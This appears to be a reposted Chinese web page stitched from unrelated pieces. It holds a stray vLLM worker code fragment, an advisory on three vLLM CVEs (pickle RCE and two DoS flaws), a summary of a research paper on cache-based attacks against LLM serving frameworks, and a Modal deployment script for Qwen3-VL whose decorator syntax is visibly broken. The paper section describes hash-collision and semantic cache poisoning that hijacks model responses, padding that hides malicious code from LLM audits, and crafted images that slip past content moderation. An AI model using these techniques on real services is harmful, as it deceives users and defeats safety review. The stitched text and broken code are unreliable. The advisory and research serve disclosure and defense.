    def report_device_id(self) -> str:
        from vllm.platforms import current_platform
        self.device_uuid = current_platform.get_device_uuid(self.device.index)
        return self.device_uuid

    def update_weights_from_ipc_handles(self, ipc_handles):
        handles = ipc_handles[self.device_uuid]
        device_id = self.device.index
        weights = []
        for name, handle in handles.items():
            func, args = handle
            list_args = list(args)
            # the key is to change device id to the current device id
            # in case two processes have different CUDA_VISIBLE_DEVICES
            # 关键是将设备 ID 改为当前设备 ID,
            # 以防两个进程有不同的 CUDA_VISIBLE_DEVICES
            list_args[6] = device_id
            tensor = func(*list_args)
            weights.append((name, tensor))
        self.model_runner.model.load_weights(weights=weights)
        torch.cuda.synchronize()

    def check_weights_changed(self):

        """
        检查权重是否已更新为0。
        """
        weights_updated = True
        for name, p in self.model_runner.model.named_parameters():
            weights_updated = weights_updated and torch.allclose(
                p, torch.zeros_like(p))
        return weights_updated

背景

vLLM 是一个高吞吐量、低内存占用的开源 Python 库,专为大型语言模型的推理和服务设计。它通过优化的内核和高效的资源管理,支持 AI 开发者在各种硬件平台上部署和运行大型语言模型,目前达到了46.4K的star数量。vLLM 的广泛应用使其成为 AI 社区的重要工具,但也因此成为攻击者的潜在目标。

2025 年 4 月 29 日,vLLM 项目发布了安全更新,修复了多个安全漏洞。奇安信星图实验室的安全研究员协助 vLLM 项目修复了其中三个关键漏洞,分别是 CVE-2025-32444、CVE-2025-46560 和 CVE-2025-30202。这些漏洞可能被攻击者利用,引发拒绝服务攻击或远程代码执行,对使用 vLLM 的系统构成严重威胁。其中CVE-2025-32444的CVSS评分达到严重(10.0),成功利用可能导致攻击者完全控制服务器,执行恶意代码,窃取数据或破坏系统。

漏洞详情

CVE-2025-32444

vLLM Mooncake 集成远程代码执行漏洞

  • 严重性:严重
  • CVSS 3.1 向量:CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H(10.0)
  • 受影响版本:>= 0.6.5, < 0.8.5
  • 已修复版本:0.8.5

描述: vLLM 在与 Mooncake 集成时,使用不安全的 pickle 序列化通过 ZeroMQ 套接字传输数据。由于这些套接字监听所有网络接口,未经身份验证的攻击者可以连接到开放端口并发送恶意 pickle 数据,从而在 vLLM 服务器上执行任意代码。此漏洞的攻击复杂度低,且无需用户交互,风险极高。

影响: 仅使用 Mooncake 集成的 vLLM 实例受此漏洞影响。成功利用可能导致攻击者完全控制服务器,执行恶意代码,窃取数据或破坏系统。

代码位置: https://github.com/vllm-project/vllm/blob/32b14baf8a1f7195ca09484de3008063569b43c5/vllm/distributed/kv_transfer/kv_pipe/mooncake_pipe.py#L179

CVE-2025-46560

vLLM input_processor_for_phi4mm 函数二次时间复杂度漏洞

  • 严重性:中等
  • CVSS 3.1 向量:CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H(6.5)
  • 受影响版本:>= 0.8.0, < 0.8.5
  • 已修复版本:0.8.5

描述: 在 vLLM 的 input_processor_for_phi4mm 函数中,存在二次时间复杂度(O(n²))的问题。攻击者可以通过构造包含大量占位符的输入数据,导致处理时间呈平方级增长,从而耗尽 CPU 或内存资源,引发拒绝服务攻击。例如,处理 10,000 个占位符可能导致约 1 亿次操作,显著降低系统性能。

影响: 此漏洞允许具有网络访问权限的攻击者在无需高级权限的情况下触发拒绝服务,影响 vLLM 服务的可用性。

代码位置: https://github.com/vllm-project/vllm/blob/8cac35ba435906fb7eb07e44fe1a8c26e8744f4e/vllm/model_executor/models/phi4mm.py#L1182-L1197

CVE-2025-30202

vLLM ZeroMQ XPUB 套接字配置不当漏洞

  • 严重性:高
  • CVSS 3.1 向量:CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H(7.5)
  • 受影响版本:>= 0.5.2, < 0.8.5
  • 已修复版本:0.8.5

描述: 在多节点 vLLM 部署中,ZeroMQ XPUB 套接字被配置为绑定到所有网络接口,允许未经授权的客户端连接并接收内部 vLLM 状态数据。攻击者可通过发送大量连接请求或恶意数据包,减缓或阻塞发布者进程,从而引发拒绝服务攻击。

影响: 此漏洞可能导致 vLLM 服务性能下降或完全不可用,影响多节点部署的稳定性。攻击者无需认证即可利用此漏洞。

代码位置

建议措施

为确保系统安全,vLLM 用户应采取以下措施:

  1. 立即更新:将 vLLM 更新到版本 0.8.5 或更高版本,以修复所有上述漏洞。更新说明可参考 vLLM 官方文档。
  2. 临时缓解措施
    1. GHSA-hj4w-hm2g-p6w5:确保 vLLM 服务器不暴露在不受信任的网络中,并通过防火墙限制对 ZeroMQ 套接字的访问。
    2. GHSA-9f8f-2vmf-885j:配置防火墙规则,仅允许受信任的主机访问 XPUB 套接字使用的 TCP 端口(端口为随机分配,需检查配置)。
  3. 网络隔离:将 vLLM 部署在受控网络环境中,避免直接暴露在公共互联网上。

相关链接

漏洞影响评估

以下表格总结了三个漏洞的关键信息:

漏洞 IDCVE ID严重性受影响版本已修复版本主要影响
GHSA-vc6m-hm49-g9qgCVE-2025-46560中等>= 0.8.0, < 0.8.50.8.5拒绝服务(DoS)
GHSA-hj4w-hm2g-p6w5CVE-2025-32444严重>= 0.6.5, < 0.8.50.8.5远程代码执行(RCE)
GHSA-9f8f-2vmf-885jCVE-2025-30202>= 0.5.2, < 0.8.50.8.5拒绝服务(DoS)

技术背景

vLLM 的设计依赖于高性能的分布式计算和网络通信,特别是在多节点部署中使用了 ZeroMQ 等技术。然而,网络接口配置不当或序列化机制的不安全使用可能引入严重的安全风险。例如,pickle 序列化在 Python 中因其可执行任意代码的特性而被认为不安全,尤其是在未受信任的网络环境中。类似地,ZeroMQ 套接字的默认配置可能导致意外的数据暴露或资源耗尽。

社区响应

vLLM 项目团队迅速响应了这些漏洞报告,并在 0.8.5 版本中发布了修复补丁。社区用户被鼓励通过 vLLM GitHub 仓库 跟踪更新,并参与漏洞报告和修复工作。vLLM 还计划在未来的版本中增强安全设计,例如改进网络配置验证和序列化安全性。

结论

这些漏洞的发现和修复凸显了开源软件安全的重要性。vLLM 作为 AI 领域的重要工具,其安全性直接影响众多应用场景。通过奇安信星图实验室和 vLLM 社区的协作,这些高危漏洞得以迅速修复,保障了用户系统的安全。用户应保持警惕,及时更新软件,并遵循最佳安全实践以降低风险。

在大模型(LLM)服务极速发展的当下,效率至关重要。为了降低延迟并控制算力成本,主流推理框架广泛引入了先进的缓存机制。然而,这种追求极致速度的设计是否埋下了安全隐患?

本论文是由奇安信技术研究院、中国海洋大学和清华大学联合完成的AI安全研究工作说明了缓存机制如果实现不恰当的话,就会造成安全隐患。论文题目为《Cache Me, Catch You: Cache Related Security Threats in LLM Serving Frameworks》。这项工作由中国海洋大学和奇安信联合培养的硕士研究生吴祥凡在奇安信技术研究院联培期间主导完成,导师为应凌云博士(奇安信星图实验室)和曲海鹏教授(中国海洋大学),其他作者为陈国强(奇安信星图实验室),谷雅聪(清华大学)。这项研究聚焦于大语言模型(LLM)推理服务框架中的安全威胁,深入分析了 KV Cache、多模态缓存及语义缓存 三大核心机制。

1. LLM推理加速背后的隐忧

随着模型参数规模的不断膨胀,推理计算的开销急剧上升。为了优化用户体验,vLLM、SGLang、GPTCache等主流服务框架引入了多种缓存策略,包括前缀缓存(Prefix Cache)、语义缓存(Semantic Cache)和多模态缓存(Multimodal Cache)。

虽然这些机制通过存储中间状态极大地减少了重复计算,但我们的研究发现,现有的缓存实现往往“重效率、轻安全”。非加密哈希函数的滥用、有缺陷的对象序列化以及模糊的语义匹配标准,共同构成了一个全新的、尚未被充分探索的攻击面。与以往关注训练阶段的数据投毒不同,这是一类发生在推理阶段的全新安全威胁。

2. Cache Me, Catch You:首个LLM缓存安全系统性研究

为了揭示这一风险,我们对主流LLM服务框架的缓存实现进行了全面的解构与分析,并提出了六种新颖的攻击向量。这些攻击利用了哈希碰撞和语义模糊匹配的特性,能够在不接触模型权重的情况下,通过污染共享缓存来操纵模型输出。

主要发现与攻击向量:

我们将发现的威胁归纳为两大类:一是面向用户的欺诈攻击,即攻击者利用系统渠道向用户传递恶意信息 ,具体手段包括利用哈希碰撞替换合法提示词以劫持对话逻辑的系统提示词碰撞、针对语义缓存构造高相似度恶意查询诱导错误回答的语义模糊投毒 ,以及在检索增强生成场景下利用文档相似性扩大攻击面的RAG语义投毒 ;二是系统完整性攻击,旨在破坏服务功能或绕过安全审查 ,具体涵盖构造与目标完整前缀碰撞以劫持响应的提示词碰撞劫持 、通过精心构造padding token让恶意代码块对LLM“隐形”以绕过审计的分块碰撞劫持 ,以及利用图像处理忽略元数据(如尺寸)缺陷构造哈希碰撞图片以绕过审核的多模态碰撞 。

细节详解:

以多模态为例,其核心漏洞根源在于当前主流推理框架(如vLLM)在对多模态数据进行序列化时存在严重的逻辑缺陷。具体而言,vLLM默认调用PIL 的 tobytes() 方法来提取图像数据以计算哈希,该方法虽然能获取原始像素字节流,但在vLLM的后续操作中完全忽略了图像宽高等尺寸信息以及调色板等关键元数据。攻击者利用这一特性实施“尺寸伪装”攻击,通过重塑图像维度(例如将 H*W的图像变形为W*H)而不改变像素排列顺序,使得原本违规的图片变成一团毫无意义的噪点,从而生成与原图完全一致的哈希值。此外,攻击者还能利用“调色板模式”漏洞,构造出索引数据相同但颜色定义截然相反的图片对(如黑底白字与白底黑字),由于序列化过程仅读取索引而忽略调色板定义,这两张视觉迥异的图片在系统眼中却拥有相同的“指纹”。

同样的隐患也出现在SGLang框架中,其为了适配张量数值范围将SHA256哈希值进行了取模截断,导致哈希空间被压缩至极易发生碰撞的范围。

下图是我们操纵图片当中的尺寸和PNG当中的P格式的调色盘,实现看上去不同的图片但是hash一致。

3. 实验效果与影响评估

我们在vLLM、SGLang及GPTCache等主流开源框架上进行了实测,证实了这些攻击路径的高可用性与低门槛:攻击者仅需不到1美元的成本即可完成一次投毒 。以针对vLLM的前缀缓存攻击为例,我们在30分钟内便成功搜索到碰撞哈希,实现了100%的缓存命中 。

实验还还原了真实的威胁场景违规图片如何利用多模态缓存缺陷骗过内容审核系统。下图展示一个示意图,成功命中图片之后会复用之前的图片预处理结果,导致生成了错误回复。

4. 防御方案与行业响应

针对发现的漏洞,我们提出了五层防御策略,包括引入随机化哈希(Salting)、采用强加密哈希函数、强制规范化序列化流程、使用更鲁棒的Embedding模型以及增加LLM辅助过滤层。我们的理论分析和实际验证表明,上述的防御方案是可行的、有效的。

我们在第一时间将发现的漏洞通报给了受影响的厂商和社区,包括 vLLM、SGLang、GPTCache、AIBrix、rtp-llm 和 LMDeploy,并分配了 3个 CVE 编号。值得注意的是,vLLM、GPTCache 和 AIBrix 已经采纳了我们提出的缓解措施(如引入随机盐值、规范化图像序列化等)并完成了修复。(在本文发表时,SGLang也反馈采纳了我们的缓解措施。)

5. 讨论与未来展望

我们的研究再次表明,高性能不应成为忽视底层系统安全的理由。本研究证明,即便模型本身无懈可击,外围缓存框架的设计缺陷仍足以瓦解整个系统的信任基石;特别是在云端共享算力场景下,必须实施严格的多租户隔离与键值空间分离以防御跨租户攻击。作为填补推理侧缓存安全空白的先行工作,本研究旨在推动社区正视这一隐蔽威胁,共同构建更稳健的大模型服务基础设施。

更多参考

想了解更多技术细节?欢迎阅读我们的学术论文或访问项目主页:

代码仓库:https://github.com/XingTuLab/Cache_Me_Catch_You

感谢您的阅读,期待能为您的AI安全研究与工程实践带来启发!

准备:

modal secret create qwen-auth QWEN_API_KEY=sk-123abc
modal secret create huggingface-secret HF_TOKEN=hf_…
import modal, os
MODEL_ID = "Qwen/Qwen3-VL-8B-Instruct-FP8"
MODEL_DIR = "/data/model"
vol = modal.Volume.from_name("qwen-storage", create_if_missing=True)
image = (modal.Image.debian_slim().apt_install("ffmpeg", "libsm6", "libxext6").run_commands("pip install -U pip").pip_install("vllm>=0.7.0").pip_install("huggingface_hub", "hf_transfer", "decord","torch-c-dlpack-ext").env({"HF_HUB_ENABLE_HF_TRANSFER": "1","PYTORCH_CUDA_ALLOC_CONF": "expandable_segments:True"}))
app = modal.App("qwen-vl-volume")
@app.function("/data": vol},timeout=1800,secrets=[modal.Secret.from_name("huggingface-secret")]) def download_model_to_volume():
    from huggingface_hub import snapshot_download
    snapshot_download(MODEL_ID,local_dir=MODEL_DIR,ignore_patterns=["*.pt", "*.bin"])
    vol.commit()
@app.cls(gpu="l4", image=image, volumes={"/data": vol}, scaledown_window=180, timeout=600, secrets=[modal.Secret.from_name("qwen-auth")]) class QwenServer:
@modal.web_server(port=8000, startup_timeout=600) def serve(self):
        import subprocess, sys
        if not os.path.exists(MODEL_DIR):
            return
        api_key = os.environ.get("QWEN_API_KEY", "sk-default")
        cmd = [sys.executable, "-m", "vllm.entrypoints.openai.api_server","--model", MODEL_DIR,"--served-model-name", MODEL_ID,"--trust-remote-code","--tensor-parallel-size", "1","--api-key", api_key,"--gpu-memory-utilization", "0.90", "--max-model-len", "8192", "--kv-cache-dtype", "auto","--limit-mm-per-prompt", '{"image": 16, "video": 4}',"--port", "8000"]
        subprocess.Popen(cmd, stdout=sys.stdout, stderr=sys.stderr)


效果:

原图:


29.0 tok/s


📌 转载信息
原作者:
Clancy
转载时间:
2026/1/6 12:02:52